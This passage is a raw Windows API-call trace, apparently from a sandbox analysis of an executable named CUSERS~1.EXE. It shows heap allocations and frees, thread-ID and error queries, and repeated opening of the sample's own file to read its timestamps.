lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85280 | out: hHeap=0x2ad0000) returned 1 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85058 | out: hHeap=0x2ad0000) returned 1 [0076.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85298 | out: hHeap=0x2ad0000) returned 1 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851d8, Size=0x10) returned 0x2c85190 [0076.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85178, Size=0x10) returned 0x2c852e0 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852c8 | out: hHeap=0x2ad0000) returned 1 [0076.304] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.304] GetFileType (hFile=0x300) returned 0x1 [0076.304] GetFileType (hFile=0x300) returned 0x1 [0076.304] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.304] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.304] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.304] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.304] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.305] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.305] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.305] CloseHandle (hObject=0x300) returned 1 [0076.305] GetCurrentThreadId () returned 0x9b0 [0076.305] GetLastError () returned 0x0 [0076.305] GetCurrentThreadId () returned 0x9b0 [0076.305] GetLastError () returned 0x0 [0076.305] GetCurrentThreadId () returned 0x9b0 [0076.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85508 [0076.305] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85508, Size=0x20) returned 0x3028328 [0076.305] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a19250 [0076.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3fc) returned 0x32cbac0 [0076.305] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19968 [0076.305] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0ca0 [0076.305] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x325ee70 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x329) returned 0x34b8c88 [0076.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ee70, Size=0xe8) returned 0x33d1290 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3fe) returned 0x32c8a60 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x32cbec8 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x243) returned 0x34b8fc0 [0076.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1290, Size=0x120) returned 0x2c374c0 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x271) returned 0x33d6f00 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2fe) returned 0x335b300 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x36e) returned 0x34b9210 [0076.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33e7a88 [0076.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7a88 | out: hHeap=0x2ad0000) returned 1 [0076.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3621fd8 | out: hHeap=0x2ad0000) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b1a70 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0076.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] GetCurrentThreadId () returned 0x9b0 [0076.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0076.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0076.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetCurrentThreadId () returned 0x9b0 [0076.308] GetLastError () returned 0x0 [0076.308] GetLastError () returned 0x0 [0076.309] GetLastError () returned 0x0 [0076.309] GetLastError () returned 0x0 [0076.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85538 | out: hHeap=0x2ad0000) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de728 [0076.309] GetLastError () returned 0x0 [0076.309] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.309] GetFileType (hFile=0x300) returned 0x1 [0076.309] GetLastError () returned 0x0 [0076.309] GetCurrentThreadId () returned 0x9b0 [0076.309] GetLastError () returned 0x0 [0076.309] GetFileType (hFile=0x300) returned 0x1 [0076.309] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.309] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.309] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.310] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.310] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.310] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.310] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.310] GetLastError () returned 0x0 [0076.310] GetCurrentThreadId () returned 0x9b0 [0076.310] GetLastError () returned 0x0 [0076.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0076.310] GetLastError () returned 0x0 [0076.310] GetLastError () returned 0x0 [0076.310] GetCurrentThreadId () returned 0x9b0 [0076.310] GetLastError () returned 0x0 [0076.310] GetCurrentThreadId () returned 0x9b0 [0076.310] GetLastError () returned 0x0 [0076.310] GetLastError () returned 0x0 [0076.310] GetCurrentThreadId () returned 0x9b0 [0076.310] GetLastError () returned 0x0 [0076.311] GetCurrentThreadId () returned 0x9b0 [0076.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xec2) returned 0x3620400 [0076.311] GetLastError () returned 0x0 [0076.311] GetLastError () returned 0x0 [0076.311] GetCurrentThreadId () returned 0x9b0 [0076.311] GetLastError () returned 0x0 [0076.311] GetCurrentThreadId () returned 0x9b0 [0076.311] GetLastError () returned 0x0 [0076.311] GetLastError () returned 0x0 [0076.311] GetCurrentThreadId () returned 0x9b0 [0076.311] GetLastError () returned 0x0 [0076.311] GetLastError () returned 0x0 [0076.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.311] CloseHandle (hObject=0x300) returned 1 [0076.311] GetLastError () returned 0x0 [0076.312] GetCurrentThreadId () returned 0x9b0 [0076.312] GetLastError () returned 0x0 [0076.312] GetLastError () returned 0x0 [0076.312] GetCurrentThreadId () returned 0x9b0 [0076.312] GetLastError () returned 0x0 [0076.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36212d0 | out: hHeap=0x2ad0000) returned 1 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3622ea8, Size=0x2272) returned 0x3622ea8 [0076.312] GetCurrentThreadId () returned 0x9b0 [0076.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620400 | out: hHeap=0x2ad0000) returned 1 [0076.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85508 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85508, Size=0x20) returned 0x3028328 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a19250 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19968 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0c08 [0076.312] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0c08, Size=0xb8) returned 0x325fa70 [0076.313] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fa70, Size=0xe8) returned 0x33d1830 [0076.313] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1830, Size=0x120) returned 0x2c37020 [0076.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x3625128 [0076.314] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x33e77b8 [0076.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x522) returned 0x34b9588 [0076.314] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e77b8, Size=0x1a8) returned 0x3028938 [0076.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028938 | out: hHeap=0x2ad0000) returned 1 [0076.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622ea8 | out: hHeap=0x2ad0000) returned 1 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34af5b0 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0076.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0076.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0076.315] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262ec8, Size=0x18) returned 0x3183860 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.315] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] GetCurrentThreadId () returned 0x9b0 [0076.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0076.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0076.317] GetCurrentThreadId () returned 0x9b0 [0076.317] GetCurrentThreadId () returned 0x9b0 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.317] GetCurrentThreadId () returned 0x9b0 [0076.317] GetCurrentThreadId () returned 0x9b0 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0076.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0076.317] GetCurrentThreadId () returned 0x9b0 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0688 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34af8c0 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85418 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c853a0 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de738 [0076.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.317] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de738, Size=0x14) returned 0x3183ae0 [0076.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c853a0 | out: hHeap=0x2ad0000) returned 1 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85418 | out: hHeap=0x2ad0000) returned 1 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0076.318] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3461718, Size=0x434) returned 0x34b9ab8 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0688 | out: hHeap=0x2ad0000) returned 1 [0076.318] GetCurrentThreadId () returned 0x9b0 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.318] GetCurrentThreadId () returned 0x9b0 [0076.318] GetCurrentThreadId () returned 0x9b0 [0076.318] GetCurrentThreadId () returned 0x9b0 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.318] GetCurrentThreadId () returned 0x9b0 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b1450 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0b20 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e8) returned 0x3665130 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85490 [0076.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0076.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.319] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de778, Size=0x14) returned 0x31839e0 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85490 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85598 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b1450 | out: hHeap=0x2ad0000) returned 1 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] GetCurrentThreadId () returned 0x9b0 [0076.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0076.320] GetCurrentThreadId () returned 0x9b0 [0076.320] GetCurrentThreadId () returned 0x9b0 [0076.320] GetLastError () returned 0x0 [0076.320] GetLastError () returned 0x0 [0076.320] GetLastError () returned 0x0 [0076.320] GetLastError () returned 0x0 [0076.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85430 | out: hHeap=0x2ad0000) returned 1 [0076.320] GetLastError () returned 0x0 [0076.320] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.320] GetFileType (hFile=0x300) returned 0x1 [0076.320] GetLastError () returned 0x0 [0076.320] GetCurrentThreadId () returned 0x9b0 [0076.320] GetLastError () returned 0x0 [0076.320] GetFileType (hFile=0x300) returned 0x1 [0076.321] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.321] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.321] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.321] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.321] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.321] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.321] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.321] GetLastError () returned 0x0 [0076.321] GetCurrentThreadId () returned 0x9b0 [0076.321] GetLastError () returned 0x0 [0076.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0076.321] GetCurrentThreadId () returned 0x9b0 [0076.321] GetLastError () returned 0x0 [0076.321] GetLastError () returned 0x0 [0076.321] GetCurrentThreadId () returned 0x9b0 [0076.321] GetLastError () returned 0x0 [0076.321] GetCurrentThreadId () returned 0x9b0 [0076.322] GetLastError () returned 0x0 [0076.322] GetLastError () returned 0x0 [0076.322] GetCurrentThreadId () returned 0x9b0 [0076.322] GetLastError () returned 0x0 [0076.322] GetCurrentThreadId () returned 0x9b0 [0076.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11e5) returned 0x3665520 [0076.322] GetLastError () returned 0x0 [0076.322] GetLastError () returned 0x0 [0076.322] GetCurrentThreadId () returned 0x9b0 [0076.322] GetLastError () returned 0x0 [0076.322] GetCurrentThreadId () returned 0x9b0 [0076.322] GetLastError () returned 0x0 [0076.322] GetLastError () returned 0x0 [0076.322] GetCurrentThreadId () returned 0x9b0 [0076.322] GetLastError () returned 0x0 [0076.322] GetLastError () returned 0x0 [0076.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.323] CloseHandle 